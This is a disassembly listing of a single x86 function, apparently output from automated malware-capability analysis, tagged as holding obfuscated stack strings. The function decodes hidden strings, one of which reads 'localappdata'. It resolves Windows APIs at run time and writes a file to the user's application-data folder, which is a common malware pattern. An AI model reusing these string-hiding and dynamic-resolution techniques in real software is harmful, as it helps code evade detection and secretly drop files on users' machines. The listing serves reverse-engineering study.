Function at 0x40eed9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x364
mov eax, 0x421b19
call fcn.00420a4f
lea ecx, [ebp - 0x370]
call fcn.00404293
push 0x65
pop ebx
mov al, 0x44
mov dword [ebp - 0x12c], 0x67737044
mov byte [ebp - 0x128], bl
xor ecx, ecx
mov byte [ebp - 0x127], 0x70
mov byte [ebp - 0x126], bl
mov word [ebp - 0x125], 0x7474
mov byte [ebp - 0x123], 0x68
mov byte [ebp - 0x122], bl
mov byte [ebp - 0x121], 0x78
mov byte [ebp - 0x120], bl
mov byte [ebp - 0x11f], 0
movsx eax, al
and eax, 0x8000000f
jns 0x40ef50
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xc
jae 0x40ef65
mov al, byte [ebp - 0x12c]
jmp 0x40ef41
mov edx, dword [ebp - 0x27c]
lea eax, [ebp - 0x118]
mov ecx, dword [ebp - 0x370]
push 0x104
push eax
lea eax, [ebp - 0x12b]
mov byte [ebp - 0x11f], 0
push eax
call fcn.00406f1f
call eax
test eax, eax
je 0x40f471
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x194]
call fcn.0040406a
xor edx, edx
mov dword [ebp - 4], edx
mov ecx, edx
movaps xmm0, xmmword [0x402850]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x140], 0x49696a6d
mov dword [ebp - 0x13c], 0x33667966
mov word [ebp - 0x138], 0x6769
mov byte [ebp - 0x136], dl
movsx eax, byte [ebp - 0x150]
and eax, 0x8000000f
jns 0x40eff7
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x14f], al
inc ecx
cmp ecx, 0x19
jb 0x40efe4
lea ecx, [ebp - 0x14f]
mov byte [ebp - 0x136], dl
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f013
sub ecx, edx
lea eax, [ebp - 0x14f]
push ecx
push eax
lea ecx, [ebp - 0x194]
call fcn.004052bb
cmp dword [ebp - 0x180], 0xf
lea eax, [ebp - 0x194]
mov edx, dword [ebp - 0x308]
cmova eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x370]
push eax
call fcn.00406f1f
call eax
cmp eax, 0xffffffff
je 0x40f466
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x1dc]
call fcn.004051dd
push 0x48
mov byte [ebp - 4], 1
call fcn.0041fc70
mov esi, eax
mov dword [ebp - 0x274], esi
sub esp, 0x14
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x278], esp
mov edi, ecx
push 0xf
pop edx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ecx + 0x10], 0
mov dword [ecx + 0x14], edx
mov byte [ecx], 0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], edx
cmova eax, dword [ebp - 0x1dc]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0040406a
lea eax, [ebp - 0x26d]
mov byte [ebp - 4], 2
push eax
mov ecx, esi
call fcn.00405593
mov byte [ebp - 4], 1
mov esi, eax
cmp byte [ebp - 0x26d], 0
je 0x40f45b
mov cl, 0x2e
mov dword [ebp - 0x128], 0x4941422e
mov dword [ebp - 0x124], 0x4d714047
xor eax, eax
mov dword [ebp - 0x120], 0x4b464d4f
mov byte [ebp - 0x11c], 0
xor byte [ebp + eax - 0x127], cl
inc eax
cmp eax, 0xb
jae 0x40f12a
mov cl, byte [ebp - 0x128]
jmp 0x40f115
sub esp, 0x18
mov byte [ebp - 0x11c], 0
lea eax, [ebp - 0x127]
mov ecx, esp
push eax
call fcn.0040406a
mov ecx, esi
call fcn.0040e054
test al, al
je 0x40f45b
push 2
push 0
lea eax, [ebp - 0x150]
mov ecx, esi
push eax
call fcn.0040e36c
mov dword [ebp - 0x274], eax
push 1
push 0
lea eax, [ebp - 0x26c]
mov byte [ebp - 4], 4
push eax
mov ecx, esi
call fcn.0040e36c
mov edi, eax
push 0
push 0
lea eax, [ebp - 0x254]
mov byte [ebp - 4], 5
push eax
mov ecx, esi
call fcn.0040e36c
mov edx, eax
mov byte [ebp - 4], 6
xor ecx, ecx
mov byte [ebp - 0x134], bl
mov dword [ebp - 0x133], 0x6a726653
mov word [ebp - 0x12f], 0x253f
mov byte [ebp - 0x12d], 0
movsx eax, bl
and eax, 0x8000000f
jns 0x40f1ce
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x133], al
inc ecx
cmp ecx, 6
jae 0x40f1e3
mov bl, byte [ebp - 0x134]
jmp 0x40f1bf
xor ebx, ebx
lea ecx, [ebp - 0x23c]
push edx
lea edx, [ebp - 0x133]
mov byte [ebp - 0x12d], bl
call fcn.0040be48
pop ecx
mov edx, eax
mov byte [ebp - 4], 7
mov ecx, ebx
movaps xmm0, xmmword [0x4022e0]
movups xmmword [ebp - 0x12c], xmm0
mov byte [ebp - 0x11c], bl
movsx eax, byte [ebp - 0x12c]
and eax, 0x8000000f
jns 0x40f22d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xf
jb 0x40f21a
lea eax, [ebp - 0x12b]
mov byte [ebp - 0x11c], bl
push eax
lea ecx, [ebp - 0x224]
call fcn.0040691f
pop ecx
push edi
push eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1f4]
push dword [ebp - 0x130]
call fcn.0040bf5a
mov byte [ebp - 4], 9
mov ecx, ebx
movaps xmm0, xmmword [0x402040]
movups xmmword [ebp - 0x12c], xmm0
movsx eax, byte [ebp - 0x12c]
and eax, 0x8000000f
jns 0x40f291
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x12b], al
inc ecx
cmp ecx, 0xe
jb 0x40f27e
lea eax, [ebp - 0x12b]
mov byte [ebp - 0x11d], bl
push eax
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x20c]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x1ac]
push dword [ebp - 0x274]
push eax
push dword [ebp - 0x130]
call fcn.0040bf5a
lea ecx, [ebp - 0x20c]
call fcn.0040400e
lea ecx, [ebp - 0x1f4]
call fcn.0040400e
lea ecx, [ebp - 0x224]
call fcn.0040400e
lea ecx, [ebp - 0x23c]
call fcn.0040400e
lea ecx, [ebp - 0x254]
call fcn.0040400e
lea ecx, [ebp - 0x26c]
call fcn.0040400e
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 0x12
call fcn.0040400e
movaps xmm0, xmmword [0x402780]
mov ecx, ebx
movups xmmword [ebp - 0x17c], xmm0
mov dword [ebp - 0x15c], 0x536a7179
movaps xmm0, xmmword [0x402a20]
movups xmmword [ebp - 0x16c], xmm0
mov dword [ebp - 0x158], 0x7933796a
mov word [ebp - 0x154], 0x797d
mov byte [ebp - 0x152], bl
movsx eax, byte [ebp - 0x17c]
and eax, 0x8000000f
jns 0x40f37e
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x17b], al
inc ecx
cmp ecx, 0x29
jb 0x40f36b
lea eax, [ebp - 0x17b]
mov byte [ebp - 0x152], bl
push eax
lea ecx, [ebp - 0x1c4]
call fcn.0040406a
push ebx
push 0x80
push 2
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x1c4]
cmp dword [ebp - 0x1b0], 0xf
mov edx, dword [ebp - 0x344]
cmova eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x370]
push ebx
push ebx
push 0x40000000
push eax
call fcn.00406f1f
call eax
mov edi, eax
cmp edi, 0xffffffff
je 0x40f430
cmp dword [ebp - 0x198], 0xf
lea eax, [ebp - 0x130]
mov ecx, dword [ebp - 0x370]
lea edx, [ebp - 0x1ac]
cmova edx, dword [ebp - 0x1ac]
push ebx
push eax
push dword [ebp - 0x19c]
push edx
mov edx, dword [ebp - 0x288]
push edi
call fcn.00406f1f
call eax
mov edx, dword [ebp - 0x348]
mov ecx, dword [ebp - 0x370]
push edi
call fcn.00406f1f
call eax
test esi, esi
je 0x40f445
mov ecx, esi
call fcn.0040608d
push 0x48
push esi
call fcn.0041fca0
pop ecx
pop ecx
lea ecx, [ebp - 0x1c4]
call fcn.0040400e
lea ecx, [ebp - 0x1ac]
call fcn.0040400e
lea ecx, [ebp - 0x1dc]
call fcn.0040400e
lea ecx, [ebp - 0x194]
call fcn.0040400e
call fcn.00420a0d
ret